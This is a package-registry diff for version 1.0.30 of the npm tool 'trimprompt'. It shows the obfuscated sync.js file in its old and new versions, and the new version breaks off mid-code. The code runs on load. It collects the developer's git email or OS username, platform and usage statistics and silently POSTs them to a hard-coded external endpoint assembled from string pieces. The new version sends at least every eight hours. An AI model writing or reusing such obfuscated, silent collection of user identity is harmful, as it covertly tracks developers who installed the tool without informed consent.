trimprompt 1.0.29 → 1.0.30
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/api-proxy.js +1 -1
- package/cache-manager.js +1 -0
- package/cache.js +1 -1
- package/ccr.js +1 -1
- package/cli.js +1 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/file-watcher.js +1 -0
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/filters/rust.js +1 -1
- package/filters/shell.js +1 -1
- package/hooks/claude-hook.js +1 -0
- package/index.html +339 -119
- package/mcp.js +1 -1
- package/package.json +1 -1
- package/proxy-conv.js +1 -1
- package/proxy-daemon.js +1 -1
- package/proxy-resp.js +1 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +1 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
- package/traffic-interceptor.js +1 -1
package/sync.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x4827da=a0_0x3c68;(function(_0x223434,_0x3cb6f1){const _0x129d4d=a0_0x3c68,_0x409624=_0x223434();while(!![]){try{const _0x2e3fa6=parseInt(_0x129d4d(0xf0))/0x1*(-parseInt(_0x129d4d(0x13b))/0x2)+-parseInt(_0x129d4d(0x115))/0x3*(-parseInt(_0x129d4d(0x106))/0x4)+-parseInt(_0x129d4d(0xfd))/0x5*(parseInt(_0x129d4d(0x13d))/0x6)+parseInt(_0x129d4d(0x111))/0x7*(parseInt(_0x129d4d(0x126))/0x8)+-parseInt(_0x129d4d(0x14a))/0x9+parseInt(_0x129d4d(0x113))/0xa+parseInt(_0x129d4d(0x11a))/0xb;if(_0x2e3fa6===_0x3cb6f1)break;else _0x409624['push'](_0x409624['shift']());}catch(_0xd77b4b){_0x409624['push'](_0x409624['shift']());}}}(a0_0x2ec3,0x93af3));function a0_0x2ec3(){const _0x8322c4=['Claude\x203.5\x20Sonnet','1851690kYyvPy','defineProperty','.trimprompt','push','getOwnPropertyDescriptor','https://','stats.json','tokens_saved','.raw.txt','timestamp','getTime','userInfo','protocol','9492561nUdaAi','join','default','ignore','URL','70GQBHNL','filter','toString','raw','destroy','toISOString','getOwnPropertyNames','http','writable','Claude\x203\x20Opus','catch','estimated_raw_tokens','comp','10UDAiRz','last_sync_date','write','writeFileSync','executions','claude-3-5-sonnet','platform','unlinkSync','utf8','265116QnWnJl','call','/api/telemetry','Gemini\x201.5\x20Flash','readFileSync','https:','count','map','error','slice','__esModule','56tjmtFd','round','2673940xfzyHD','trim','27qEufXI','.up.railway.app','synced','anonymous','__importStar','22006325nlQrHd','statusCode','request','estimated_compressed_tokens','prototype','length','config.json','end','includes','parse','username','get','73824ejbciG','daily_sync.json','toFixed','git\x20config\x20user.email','create','search','trimp-production','child_process','.comp.txt','path','existsSync','pathname','application/json','model_used','from','hasOwnProperty','stringify','split','sort','pipe','url','18898HFwcUa'];a0_0x2ec3=function(){return _0x8322c4;};return a0_0x2ec3();}var __createBinding=this&&this['__createBinding']||(Object[a0_0x4827da(0x12a)]?function(_0x3f52c4,_0x1de6e7,_0x56f5ed,_0x4a8b49){const _0x53b3c0=a0_0x4827da;if(_0x4a8b49===undefined)_0x4a8b49=_0x56f5ed;var _0x2a9758=Object[_0x53b3c0(0x141)](_0x1de6e7,_0x56f5ed);(!_0x2a9758||(_0x53b3c0(0x125)in _0x2a9758?!_0x1de6e7[_0x53b3c0(0x110)]:_0x2a9758[_0x53b3c0(0xf8)]||_0x2a9758['configurable']))&&(_0x2a9758={'enumerable':!![],'get':function(){return _0x1de6e7[_0x56f5ed];}}),Object['defineProperty'](_0x3f52c4,_0x4a8b49,_0x2a9758);}:function(_0x4475a8,_0x4a0f2e,_0x403ed2,_0x5935e6){if(_0x5935e6===undefined)_0x5935e6=_0x403ed2;_0x4475a8[_0x5935e6]=_0x4a0f2e[_0x403ed2];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x4827da(0x12a)]?function(_0x1449eb,_0x193878){const _0x2eb237=a0_0x4827da;Object[_0x2eb237(0x13e)](_0x1449eb,_0x2eb237(0xed),{'enumerable':!![],'value':_0x193878});}:function(_0xf19698,_0x46a6a6){const _0x23e715=a0_0x4827da;_0xf19698[_0x23e715(0xed)]=_0x46a6a6;}),__importStar=this&&this[a0_0x4827da(0x119)]||(function(){var _0x63b4f1=function(_0x396616){const _0x56814=a0_0x3c68;return _0x63b4f1=Object[_0x56814(0xf6)]||function(_0x44bbbe){const _0x41c972=_0x56814;var _0x439dc7=[];for(var _0x29fde9 in _0x44bbbe)if(Object[_0x41c972(0x11e)][_0x41c972(0x135)][_0x41c972(0x107)](_0x44bbbe,_0x29fde9))_0x439dc7[_0x439dc7[_0x41c972(0x11f)]]=_0x29fde9;return _0x439dc7;},_0x63b4f1(_0x396616);};return function(_0xb913f8){const _0x1cae2f=a0_0x3c68;if(_0xb913f8&&_0xb913f8[_0x1cae2f(0x110)])return _0xb913f8;var _0x599a48={};if(_0xb913f8!=null){for(var _0x2ebba8=_0x63b4f1(_0xb913f8),_0x1776c8=0x0;_0x1776c8<_0x2ebba8[_0x1cae2f(0x11f)];_0x1776c8++)if(_0x2ebba8[_0x1776c8]!==_0x1cae2f(0xed))__createBinding(_0x599a48,_0xb913f8,_0x2ebba8[_0x1776c8]);}return __setModuleDefault(_0x599a48,_0xb913f8),_0x599a48;};}());Object[a0_0x4827da(0x13e)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x4827da(0x12f))),os=__importStar(require('os')),http=__importStar(require(a0_0x4827da(0xf7))),https=__importStar(require('https')),url_1=require(a0_0x4827da(0x13a)),_cfg=[a0_0x4827da(0x142),a0_0x4827da(0x12c),a0_0x4827da(0x116),a0_0x4827da(0x108)][a0_0x4827da(0xec)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x4827da(0x13c),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x4827da(0xf9),'input_price_1m':0xf},'gpt-4o':{'name':'GPT-4o','input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':'Gemini\x201.5\x20Pro','input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x4827da(0x109),'input_price_1m':0.075}},baseDir=path[a0_0x4827da(0xec)](os['homedir'](),a0_0x4827da(0x13f)),configPath=path[a0_0x4827da(0xec)](baseDir,a0_0x4827da(0x120)),statsPath=path[a0_0x4827da(0xec)](baseDir,a0_0x4827da(0x143)),dailySyncPath=path['join'](baseDir,a0_0x4827da(0x127));function getTodayDate(){const _0x3c9535=a0_0x4827da;return new Date()['toISOString']()[_0x3c9535(0x137)]('T')[0x0];}function getDeveloperIdentity(){const _0x5046bc=a0_0x4827da;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x3348da}=require(_0x5046bc(0x12d)),_0x549b1e=_0x3348da(_0x5046bc(0x129),{'stdio':[_0x5046bc(0xee),_0x5046bc(0x139),_0x5046bc(0xee)]})[_0x5046bc(0xf2)]()['trim']();if(_0x549b1e&&_0x549b1e[_0x5046bc(0x122)]('@'))return _0x549b1e;}catch{}try{const _0x34f252=os[_0x5046bc(0x148)]()[_0x5046bc(0x124)];if(_0x34f252)return _0x34f252;}catch{}return _0x5046bc(0x118);}function hasAlreadySyncedToday(){const _0x23ee40=a0_0x4827da;try{if(!fs[_0x23ee40(0x130)](dailySyncPath))return![];const _0x15c489=JSON[_0x23ee40(0x123)](fs[_0x23ee40(0x10a)](dailySyncPath,_0x23ee40(0x105)));return _0x15c489[_0x23ee40(0xfe)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x44f696=a0_0x4827da;try{const _0x2bee6e={'last_sync_date':getTodayDate()};fs[_0x44f696(0x100)](dailySyncPath,JSON[_0x44f696(0x136)](_0x2bee6e,null,0x2),_0x44f696(0x105));}catch{}}function a0_0x3c68(_0x24cb6f,_0x2037d0){_0x24cb6f=_0x24cb6f-0xec;const _0x2ec33d=a0_0x2ec3();let _0x3c6831=_0x2ec33d[_0x24cb6f];return _0x3c6831;}function postTelemetry(_0x286e50,_0x519624){return new Promise(_0x46c385=>{const _0x53ee83=a0_0x3c68;try{const _0x8ac4d8=new url_1[(_0x53ee83(0xef))](_0x286e50),_0x59e6bb=JSON[_0x53ee83(0x136)](_0x519624),_0x9e56fb={'hostname':_0x8ac4d8['hostname'],'port':_0x8ac4d8['port']||(_0x8ac4d8[_0x53ee83(0x149)]==='https:'?0x1bb:0x50),'path':_0x8ac4d8[_0x53ee83(0x131)]+_0x8ac4d8[_0x53ee83(0x12b)],'method':'POST','headers':{'Content-Type':_0x53ee83(0x132),'Content-Length':Buffer['byteLength'](_0x59e6bb)},'timeout':0x1f40},_0x1c7979=_0x8ac4d8[_0x53ee83(0x149)]===_0x53ee83(0x10b)?https:http,_0x7953ed=_0x1c7979[_0x53ee83(0x11c)](_0x9e56fb,_0x2a0900=>{const _0x4cd0b0=_0x53ee83;_0x46c385(!!(_0x2a0900[_0x4cd0b0(0x11b)]&&_0x2a0900[_0x4cd0b0(0x11b)]>=0xc8&&_0x2a0900[_0x4cd0b0(0x11b)]<0x12c));});_0x7953ed['on'](_0x53ee83(0x10e),()=>_0x46c385(![])),_0x7953ed['on']('timeout',()=>{const _0x37ff44=_0x53ee83;_0x7953ed[_0x37ff44(0xf4)](),_0x46c385(![]);}),_0x7953ed[_0x53ee83(0xff)](_0x59e6bb),_0x7953ed[_0x53ee83(0x121)]();}catch{_0x46c385(![]);}});}function buildDailyPayload(_0x539a32){const _0x30891d=a0_0x4827da,_0x52a798=getTodayDate(),_0x18ec6c=_0x539a32[_0x30891d(0xf1)](_0x4b89cd=>_0x4b89cd['timestamp']['startsWith'](_0x52a798)),_0x1df0d3=_0x18ec6c[_0x30891d(0x11f)]>0x0?_0x18ec6c:_0x539a32,_0x1a9466=_0x1df0d3[_0x30891d(0xf1)](_0xa6af8a=>_0xa6af8a['ai_detected']!==![]);let _0x43243c=0x0,_0x4ae7f6=0x0,_0x4e3eba=0x0,_0x3f5fce=0x0;const _0x49553e=new Set(),_0xda620e={};for(const _0x4c90ec of _0x1a9466){_0x43243c+=_0x4c90ec[_0x30891d(0xfb)],_0x4ae7f6+=_0x4c90ec[_0x30891d(0x11d)],_0x4e3eba+=_0x4c90ec['tokens_saved'],_0x49553e['add'](_0x4c90ec[_0x30891d(0x133)]);const _0x4fb3e9=PRICING[_0x4c90ec[_0x30891d(0x133)]]||PRICING[_0x30891d(0x102)];_0x3f5fce+=_0x4c90ec[_0x30891d(0x144)]*_0x4fb3e9['input_price_1m']/0xf4240;const _0x60d46c=_0x4c90ec['command']||'unknown';if(!_0xda620e[_0x60d46c])_0xda620e[_0x60d46c]={'raw':0x0,'comp':0x0,'count':0x0};_0xda620e[_0x60d46c][_0x30891d(0xf3)]+=_0x4c90ec[_0x30891d(0xfb)],_0xda620e[_0x60d46c][_0x30891d(0xfc)]+=_0x4c90ec[_0x30891d(0x11d)],_0xda620e[_0x60d46c][_0x30891d(0x10c)]+=0x1;}const _0x5833d0=Object['entries'](_0xda620e)[_0x30891d(0x10d)](([_0x39b324,_0x4021e0])=>({'command':_0x39b324,'percentage':_0x4021e0[_0x30891d(0xf3)]>0x0?Math[_0x30891d(0x112)]((_0x4021e0[_0x30891d(0xf3)]-_0x4021e0[_0x30891d(0xfc)])/_0x4021e0[_0x30891d(0xf3)]*0x64):0x0,'executions':_0x4021e0[_0x30891d(0x10c)]}))[_0x30891d(0x138)]((_0x5bb866,_0x2c3fae)=>_0x2c3fae[_0x30891d(0x101)]-_0x5bb866[_0x30891d(0x101)])[_0x30891d(0x10f)](0x0,0xa),_0x1b16fa=_0x1a9466[_0x1a9466[_0x30891d(0x11f)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x30891d(0x103)](),'date':_0x52a798,'executions_count':_0x1a9466['length'],'total_raw_tokens':_0x43243c,'total_compressed_tokens':_0x4ae7f6,'total_tokens_saved':_0x4e3eba,'total_money_saved_usd':parseFloat(_0x3f5fce[_0x30891d(0x128)](0x6)),'models_used':Array[_0x30891d(0x134)](_0x49553e),'hotspots':_0x5833d0,'last_seen':_0x1b16fa?_0x1b16fa[_0x30891d(0x146)]:new Date()[_0x30891d(0xf5)]()};}async function runSync(){const _0x3d4c4d=a0_0x4827da;if(!fs[_0x3d4c4d(0x130)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x4c1460;try{_0x4c1460=JSON['parse'](fs[_0x3d4c4d(0x10a)](statsPath,_0x3d4c4d(0x105)));}catch{return;}const _0x37236a=_0x4c1460[_0x3d4c4d(0xf1)](_0x3a4c54=>!_0x3a4c54['synced']);if(_0x37236a[_0x3d4c4d(0x11f)]===0x0)return;const _0x2e2b1a=buildDailyPayload(_0x4c1460);await postTelemetry(_ep,_0x2e2b1a);let _0x2ca39f=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x2ca39f&&fs[_0x3d4c4d(0x130)](configPath))try{const _0x4c047e=JSON[_0x3d4c4d(0x123)](fs[_0x3d4c4d(0x10a)](configPath,'utf8'));_0x2ca39f=_0x4c047e['telemetry_url']||'';}catch{}_0x2ca39f[_0x3d4c4d(0x114)]()[_0x3d4c4d(0x11f)]>0x0&&await postTelemetry(_0x2ca39f,_0x2e2b1a);for(const _0x346067 of _0x4c1460){if(!_0x346067[_0x3d4c4d(0x117)])_0x346067[_0x3d4c4d(0x117)]=!![];}try{fs[_0x3d4c4d(0x100)](statsPath,JSON[_0x3d4c4d(0x136)](_0x4c1460,null,0x2),_0x3d4c4d(0x105));}catch{}markSyncedToday();}function pruneOldLogs(_0x499275){const _0x444f6a=a0_0x4827da;try{const _0x1c8772=new Date(),_0x2feb78=new Date(_0x1c8772[_0x444f6a(0x147)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x1e3bd6=[],_0x1a6c6b=[];for(const _0x109ae0 of _0x499275){const _0x58e6f0=new Date(_0x109ae0[_0x444f6a(0x146)]);_0x58e6f0>=_0x2feb78?_0x1e3bd6[_0x444f6a(0x140)](_0x109ae0):_0x1a6c6b[_0x444f6a(0x140)](_0x109ae0);}if(_0x1a6c6b[_0x444f6a(0x11f)]>0x0){const _0x1a846d=path[_0x444f6a(0xec)](baseDir,'logs');for(const _0x41137b of _0x1a6c6b){const _0x50f733=path[_0x444f6a(0xec)](_0x1a846d,_0x41137b['id']+_0x444f6a(0x145)),_0x9121fb=path[_0x444f6a(0xec)](_0x1a846d,_0x41137b['id']+_0x444f6a(0x12e));try{if(fs[_0x444f6a(0x130)](_0x50f733))fs[_0x444f6a(0x104)](_0x50f733);if(fs[_0x444f6a(0x130)](_0x9121fb))fs[_0x444f6a(0x104)](_0x9121fb);}catch{}}fs[_0x444f6a(0x100)](statsPath,JSON['stringify'](_0x1e3bd6,null,0x2),_0x444f6a(0x105));}}catch{}}runSync()[a0_0x4827da(0xfa)](()=>{});
|
|
1
|
+
'use strict';const a0_0x5443b8=a0_0x2e53;(function(_0x2e7840,_0x5bd457){const _0x45110c=a0_0x2e53,_0xdcc1cd=_0x2e7840();while(!![]){try{const _0x117d56=parseInt(_0x45110c(0x21b))/0x1*(-parseInt(_0x45110c(0x222))/0x2)+parseInt(_0x45110c(0x242))/0x3+parseInt(_0x45110c(0x1fa))/0x4*(-parseInt(_0x45110c(0x1fe))/0x5)+-parseInt(_0x45110c(0x1e2))/0x6*(-parseInt(_0x45110c(0x211))/0x7)+parseInt(_0x45110c(0x23f))/0x8+parseInt(_0x45110c(0x20d))/0x9*(-parseInt(_0x45110c(0x212))/0xa)+-parseInt(_0x45110c(0x234))/0xb;if(_0x117d56===_0x5bd457)break;else _0xdcc1cd['push'](_0xdcc1cd['shift']());}catch(_0x3c6daf){_0xdcc1cd['push'](_0xdcc1cd['shift']());}}}(a0_0x4cf4,0x69964));var __createBinding=this&&this['__createBinding']||(Object[a0_0x5443b8(0x233)]?function(_0x465a2f,_0x2d66ca,_0x4c1e10,_0x299a1c){const _0x2c4a2e=a0_0x5443b8;if(_0x299a1c===undefined)_0x299a1c=_0x4c1e10;var _0x53b4b2=Object['getOwnPropertyDescriptor'](_0x2d66ca,_0x4c1e10);(!_0x53b4b2||(_0x2c4a2e(0x202)in _0x53b4b2?!_0x2d66ca['__esModule']:_0x53b4b2[_0x2c4a2e(0x1e5)]||_0x53b4b2[_0x2c4a2e(0x21f)]))&&(_0x53b4b2={'enumerable':!![],'get':function(){return _0x2d66ca[_0x4c1e10];}}),Object[_0x2c4a2e(0x1ec)](_0x465a2f,_0x299a1c,_0x53b4b2);}:function(_0x4e54e1,_0x1ebb30,_0xcee4dd,_0x2bb68e){if(_0x2bb68e===undefined)_0x2bb68e=_0xcee4dd;_0x4e54e1[_0x2bb68e]=_0x1ebb30[_0xcee4dd];}),__setModuleDefault=this&&this[a0_0x5443b8(0x1e3)]||(Object[a0_0x5443b8(0x233)]?function(_0x13bc2f,_0x5dde7d){const _0x4d21ce=a0_0x5443b8;Object['defineProperty'](_0x13bc2f,_0x4d21ce(0x226),{'enumerable':!![],'value':_0x5dde7d});}:function(_0x2dcf6d,_0x12a33f){const _0x1e63bc=a0_0x5443b8;_0x2dcf6d[_0x1e63bc(0x226)]=_0x12a33f;}),__importStar=this&&this[a0_0x5443b8(0x210)]||(function(){var _0x390e26=function(_0x5d3146){const _0x20fe04=a0_0x2e53;return _0x390e26=Object[_0x20fe04(0x23e)]||function(_0x4ae03d){const _0x4022a2=_0x20fe04;var _0x332f59=[];for(var _0x40d763 in _0x4ae03d)if(Object[_0x4022a2(0x22b)]['hasOwnProperty'][_0x4022a2(0x1fb)](_0x4ae03d,_0x40d763))_0x332f59[_0x332f59['length']]=_0x40d763;return _0x332f59;},_0x390e26(_0x5d3146);};return function(_0x220afd){const _0x3a9caf=a0_0x2e53;if(_0x220afd&&_0x220afd[_0x3a9caf(0x235)])return _0x220afd;var _0x1f71e5={};if(_0x220afd!=null){for(var _0x1733c2=_0x390e26(_0x220afd),_0x3a15b6=0x0;_0x3a15b6<_0x1733c2[_0x3a9caf(0x1f3)];_0x3a15b6++)if(_0x1733c2[_0x3a15b6]!==_0x3a9caf(0x226))__createBinding(_0x1f71e5,_0x220afd,_0x1733c2[_0x3a15b6]);}return __setModuleDefault(_0x1f71e5,_0x220afd),_0x1f71e5;};}());Object[a0_0x5443b8(0x1ec)](exports,a0_0x5443b8(0x235),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5443b8(0x204))),os=__importStar(require('os')),http=__importStar(require(a0_0x5443b8(0x217))),https=__importStar(require(a0_0x5443b8(0x1f2))),url_1=require(a0_0x5443b8(0x1df)),_cfg=[a0_0x5443b8(0x221),a0_0x5443b8(0x1e1),a0_0x5443b8(0x215),a0_0x5443b8(0x207)][a0_0x5443b8(0x1ee)](''),_ep=process.env._PS_EP||_cfg;function hasSyncedRecently(){const _0x211bfc=a0_0x5443b8;try{if(!fs[_0x211bfc(0x219)](dailySyncPath))return![];const _0x36ef20=JSON[_0x211bfc(0x1f6)](fs[_0x211bfc(0x20c)](dailySyncPath,_0x211bfc(0x20f)));if(!_0x36ef20[_0x211bfc(0x1de)])return![];return Date[_0x211bfc(0x220)]()-_0x36ef20['last_sync_time']<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x6f8bc2=a0_0x5443b8;try{const _0x585cb4={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x6f8bc2(0x220)]()};fs[_0x6f8bc2(0x1f0)](dailySyncPath,JSON['stringify'](_0x585cb4,null,0x2),_0x6f8bc2(0x20f));}catch{}}const PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x5443b8(0x200),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x5443b8(0x23d),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x5443b8(0x229),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x5443b8(0x20e),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x5443b8(0x22f),'input_price_1m':0.075}},baseDir=path[a0_0x5443b8(0x1ee)](os['homedir'](),a0_0x5443b8(0x21c)),configPath=path[a0_0x5443b8(0x1ee)](baseDir,a0_0x5443b8(0x230)),statsPath=path['join'](baseDir,a0_0x5443b8(0x1e9)),dailySyncPath=path['join'](baseDir,'daily_sync.json');function a0_0x2e53(_0x312e89,_0x5a8ffb){_0x312e89=_0x312e89-0x1de;const _0x4cf4bb=a0_0x4cf4();let _0x2e53ca=_0x4cf4bb[_0x312e89];return _0x2e53ca;}function getTodayDate(){const _0x11b2b6=a0_0x5443b8;return new Date()[_0x11b2b6(0x239)]()[_0x11b2b6(0x214)]('T')[0x0];}function getDeveloperIdentity(){const _0x29973c=a0_0x5443b8;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x3ea55d}=require('child_process'),_0x3dfd94=_0x3ea55d(_0x29973c(0x228),{'stdio':[_0x29973c(0x225),_0x29973c(0x1e0),_0x29973c(0x225)]})[_0x29973c(0x1fd)]()[_0x29973c(0x1f8)]();if(_0x3dfd94&&_0x3dfd94[_0x29973c(0x237)]('@'))return _0x3dfd94;}catch{}try{const _0x11e7b2=os['userInfo']()[_0x29973c(0x21e)];if(_0x11e7b2)return _0x11e7b2;}catch{}return _0x29973c(0x22e);}function hasAlreadySyncedToday(){const _0x31c123=a0_0x5443b8;try{if(!fs[_0x31c123(0x219)](dailySyncPath))return![];const _0x58fa2e=JSON[_0x31c123(0x1f6)](fs['readFileSync'](dailySyncPath,_0x31c123(0x20f)));return _0x58fa2e[_0x31c123(0x209)]===getTodayDate();}catch{return![];}}function a0_0x4cf4(){const _0x2a5a72=['call','POST','toString','45345mHxGUm','toFixed','Claude\x203\x20Opus','conv:','get','hostname','path','agent','statusCode','/api/telemetry','filter','last_sync_date','platform','values','readFileSync','567711KqUsXR','Gemini\x201.5\x20Pro','utf8','__importStar','2831927GSpJYR','70lGbPSy','unlinkSync','split','.up.railway.app','conv_','http','tokens_saved','existsSync','model_used','223934AMapxj','.trimprompt','command','username','configurable','now','https://','2FWJfKQ','.raw.txt','end','ignore','default','some','git\x20config\x20user.email','GPT-4o\x20Mini','timestamp','prototype','stringify','string','anonymous','Gemini\x201.5\x20Flash','config.json','push','destroy','create','1042833FhKKyA','__esModule','replace','includes','add','toISOString','estimated_raw_tokens','URL','https:','GPT-4o','getOwnPropertyNames','3516240pVvIVW','getTime','logs','1862259MLtJkN','last_sync_time','url','pipe','trimp-production','6NpaQBJ','__setModuleDefault','protocol','writable','pathname','input_price_1m','find','stats.json','.comp.txt','estimated_compressed_tokens','defineProperty','catch','join','search','writeFileSync','synced','https','length','byteLength','claude-3-5-sonnet','parse','request','trim','startsWith','120FdkvOK'];a0_0x4cf4=function(){return _0x2a5a72;};return a0_0x4cf4();}function markSyncedToday(){const _0x33ba79=a0_0x5443b8;try{const _0xc9ff83={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0x33ba79(0x22c)](_0xc9ff83,null,0x2),_0x33ba79(0x20f));}catch{}}function postTelemetry(_0x43dd62,_0x18c3fd){return new Promise(_0x26565b=>{const _0x3ca6e4=a0_0x2e53;try{const _0x57067b=new url_1[(_0x3ca6e4(0x23b))](_0x43dd62),_0xd043e4=JSON[_0x3ca6e4(0x22c)](_0x18c3fd),_0xd31b3f={'hostname':_0x57067b[_0x3ca6e4(0x203)],'port':_0x57067b['port']||(_0x57067b[_0x3ca6e4(0x1e4)]===_0x3ca6e4(0x23c)?0x1bb:0x50),'path':_0x57067b[_0x3ca6e4(0x1e6)]+_0x57067b[_0x3ca6e4(0x1ef)],'method':_0x3ca6e4(0x1fc),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x3ca6e4(0x1f4)](_0xd043e4)},'timeout':0x1f40},_0x160da9=_0x57067b[_0x3ca6e4(0x1e4)]===_0x3ca6e4(0x23c)?https:http,_0x4756f1=_0x160da9[_0x3ca6e4(0x1f7)](_0xd31b3f,_0x52531c=>{const _0x2bc248=_0x3ca6e4;_0x26565b(!!(_0x52531c['statusCode']&&_0x52531c[_0x2bc248(0x206)]>=0xc8&&_0x52531c[_0x2bc248(0x206)]<0x12c));});_0x4756f1['on']('error',()=>_0x26565b(![])),_0x4756f1['on']('timeout',()=>{const _0x504efe=_0x3ca6e4;_0x4756f1[_0x504efe(0x232)](),_0x26565b(![]);}),_0x4756f1['write'](_0xd043e4),_0x4756f1[_0x3ca6e4(0x224)]();}catch{_0x26565b(![]);}});}function buildDailyPayload(_0x4b774b){const _0x106ceb=a0_0x5443b8,_0x2275ad=getTodayDate(),_0x20cdf2=_0x4b774b[_0x106ceb(0x208)](_0x5cfba5=>_0x5cfba5[_0x106ceb(0x22a)][_0x106ceb(0x1f9)](_0x2275ad)),_0x47cdb8=_0x20cdf2[_0x106ceb(0x1f3)]>0x0?_0x20cdf2:_0x4b774b;let _0x540cd2=0x0,_0x29ad26=0x0,_0x49e367=0x0,_0x58d281=0x0;const _0x45137a=new Set(),_0x56b0ee={},_0x484735=[];for(const _0x4ac183 of _0x47cdb8){const _0x46dfce=_0x4ac183[_0x106ceb(0x21d)]||'',_0x410d10=_0x4ac183['features']||[],_0x3f87c9=_0x46dfce['startsWith'](_0x106ceb(0x201))||_0x410d10['includes']('live-conv')||_0x410d10[_0x106ceb(0x227)](_0x3ab336=>typeof _0x3ab336===_0x106ceb(0x22d)&&_0x3ab336['startsWith'](_0x106ceb(0x216)));if(_0x3f87c9){const _0x32d4d2=_0x46dfce[_0x106ceb(0x236)]('conv:','')||_0x410d10[_0x106ceb(0x1e8)](_0x4f1aa8=>typeof _0x4f1aa8===_0x106ceb(0x22d)&&_0x4f1aa8[_0x106ceb(0x1f9)](_0x106ceb(0x216)))?.['replace'](_0x106ceb(0x216),'')||_0x106ceb(0x205);_0x56b0ee[_0x32d4d2]=_0x4ac183;}else _0x484735['push'](_0x4ac183);}for(const _0xa6215d of Object[_0x106ceb(0x20b)](_0x56b0ee)){_0x540cd2+=_0xa6215d['estimated_raw_tokens'],_0x29ad26+=_0xa6215d[_0x106ceb(0x1eb)],_0x49e367+=_0xa6215d['tokens_saved'],_0x45137a[_0x106ceb(0x238)](_0xa6215d[_0x106ceb(0x21a)]||_0x106ceb(0x1f5));const _0x1eb3cd=PRICING[_0xa6215d[_0x106ceb(0x21a)]]||PRICING[_0x106ceb(0x1f5)];_0x58d281+=_0xa6215d[_0x106ceb(0x218)]*_0x1eb3cd['input_price_1m']/0xf4240;}for(const _0x4c07ec of _0x484735){_0x540cd2+=_0x4c07ec[_0x106ceb(0x23a)],_0x29ad26+=_0x4c07ec[_0x106ceb(0x1eb)],_0x49e367+=_0x4c07ec['tokens_saved'],_0x45137a[_0x106ceb(0x238)](_0x4c07ec[_0x106ceb(0x21a)]||_0x106ceb(0x1f5));const _0x2858b1=PRICING[_0x4c07ec[_0x106ceb(0x21a)]]||PRICING['claude-3-5-sonnet'];_0x58d281+=_0x4c07ec[_0x106ceb(0x218)]*_0x2858b1[_0x106ceb(0x1e7)]/0xf4240;}const _0x72933d=_0x47cdb8[_0x47cdb8['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x106ceb(0x20a)](),'date':_0x2275ad,'executions_count':_0x47cdb8['length'],'total_raw_tokens':_0x540cd2,'total_compressed_tokens':_0x29ad26,'total_tokens_saved':_0x49e367,'total_money_saved_usd':parseFloat(_0x58d281[_0x106ceb(0x1ff)](0x6)),'models_used':Array['from'](_0x45137a),'hotspots':[],'last_seen':_0x72933d?_0x72933d[_0x106ceb(0x22a)]:new Date()['toISOString']()};}async function runSync(){const _0xb14d5d=a0_0x5443b8;if(!fs['existsSync'](statsPath))return;let _0x4aec3f;try{_0x4aec3f=JSON[_0xb14d5d(0x1f6)](fs[_0xb14d5d(0x20c)](statsPath,_0xb14d5d(0x20f)));}catch{return;}const _0x119b97=_0x4aec3f[_0xb14d5d(0x208)](_0x247c8b=>!_0x247c8b[_0xb14d5d(0x1f1)]);if(_0x119b97[_0xb14d5d(0x1f3)]===0x0&&hasSyncedRecently())return;const _0x49e6f2=buildDailyPayload(_0x4aec3f);await postTelemetry(_ep,_0x49e6f2);let _0x429acf=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x429acf&&fs[_0xb14d5d(0x219)](configPath))try{const _0x286043=JSON[_0xb14d5d(0x1f6)](fs['readFileSync'](configPath,_0xb14d5d(0x20f)));_0x429acf=_0x286043['telemetry_url']||'';}catch{}_0x429acf[_0xb14d5d(0x1f8)]()['length']>0x0&&await postTelemetry(_0x429acf,_0x49e6f2);for(const _0xcd1ca9 of _0x4aec3f){if(!_0xcd1ca9[_0xb14d5d(0x1f1)])_0xcd1ca9['synced']=!![];}try{fs['writeFileSync'](statsPath,JSON['stringify'](_0x4aec3f,null,0x2),'utf8');}catch{}markSyncedNow();}function pruneOldLogs(_0xfd971f){const _0x1dcb58=a0_0x5443b8;try{const _0x294fbe=new Date(),_0x37b3fd=new Date(_0x294fbe[_0x1dcb58(0x240)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x5601c6=[],_0x47f420=[];for(const _0xb7bb2b of _0xfd971f){const _0x1192d3=new 